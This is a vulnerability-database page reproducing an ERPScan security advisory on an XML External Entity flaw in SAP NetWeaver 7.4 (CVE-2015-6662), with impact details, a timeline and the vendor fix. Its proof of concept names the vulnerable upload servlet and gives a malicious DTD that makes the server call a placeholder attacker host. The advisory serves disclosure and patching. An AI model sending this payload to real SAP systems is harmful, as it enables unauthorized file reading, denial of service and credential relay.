Lucene search
K

SAP NetWeaver 7.4 XXE Injection Vulnerability

🗓️ 23 Nov 2015 00:00:00Reported by Roman BezhanType 
zdt
 zdt
🔗 0day.today👁 51 Views

SAP NetWeaver 7.4 XXE Injection Vulnerability, XML External Entity, CVE-2015-666

Related
Code
ReporterTitlePublishedViews
Family
BDU FSTEC
The vulnerability of the SAP NetWeaver software integration platform allows a perpetrator to trigger a service failure or induce the system to access external resources.
1 Oct 201500:00
bdu_fstec
CNVD
SAP NetWeaver Portal XML External Entity Vulnerability
25 Aug 201500:00
cnvd
CVE
CVE-2015-6662
24 Aug 201514:00
cve
Cvelist
CVE-2015-6662
24 Aug 201514:00
cvelist
erpscan
SAP NetWeaver 7.4 - XXE
16 Apr 201500:00
erpscan
EUVD
EUVD-2015-6600
7 Oct 202500:30
euvd
NVD
CVE-2015-6662
24 Aug 201514:59
nvd
Packet Storm
SAP NetWeaver 7.4 XXE Injection
23 Nov 201500:00
packetstorm
Prion
Xxe
24 Aug 201514:59
prion
Application:                SAP NetWeaver
Versions Affected: SAP NetWeaver 7.4, probably others
Vendor URL: http://SAP.com
Bugs: XML External Entity
Send:                           16.04.2015
Reported: 16.04.2015
Vendor response: 16.04.2015
Date of Public Advisory: 11.08.2015
Reference: SAP Security Note 2168485
Author:        Roman Bezhan (ERPScan)



Description


1. ADVISORY INFORMATION

Title: SAP NetWeaver 7.4
Advisory ID: [ERPSCAN-15-018]
Risk: Hight
Advisory URL: http://erpscan.com/advisories/erpscan-15-018-sap-netweaver-7-4-xxe/
Date published: 11.08.2015
Vendors contacted: SAP

2. VULNERABILITY INFORMATION

Class: XML External Entity [CWE-611]
Impact: information disclosure, denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-6662
CVSS Information
CVSS Base Score:  4.9 / 10
CVSS Base Vector:
AV : Access Vector (Related exploit range) Network (N)
AC : Access Complexity (Required attack complexity) Medium (M)
Au : Authentication (Level of authentication needed to exploit) Single (S)
C : Impact to Confidentiality Partial (P)
I  : Impact to Integrity None (N)
A : Impact to Availability Partial (P)



3. VULNERABILITY DESCRIPTION
1) An attacker can read an arbitrary file on the server by sending a
correct XML request with a crafted DTD to read the reply from the
service.
2) An attacker can perform a DoS attack (for example, an XML Entity
expansion attack).
3) An SMB Relay attack is a type of Man-in-the-Middle attack where an
attacker asks a victim to authenticate into a machine controlled by
the attacker, then relays the credentials to the target. The attacker
forwards the authentication information both ways and gets access.


4. VULNERABLE PACKAGES
SAP NetWeaver 7.4
Other versions are probably affected too, but they were not checked.

5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security note 2168485


6. AUTHOR
Roman Bezhan (ERPScan)


7. TECHNICAL DESCRIPTION
The vulnerability affects the functionality used by an administrator
to import applications.
An attacker can replace ApplicationDefinition.xml file with a
malicious XML code.


PoC

Vulnerable URL
http://IP:50000/irj/servlet/prt/portal/prteventname/upload/prtroot/com.sap.portal.landscape.access.LSXMLParse

Malicious file

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://IP:PORT/">
%remote;]>
<root/>




8. REPORT TIMELINE
Send:                                   16.04.2015
Reported: 16.04.2015
Vendor response: 16.04.2015
Date of Public Advisory: 11.08.2015

#  0day.today [2018-02-17]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation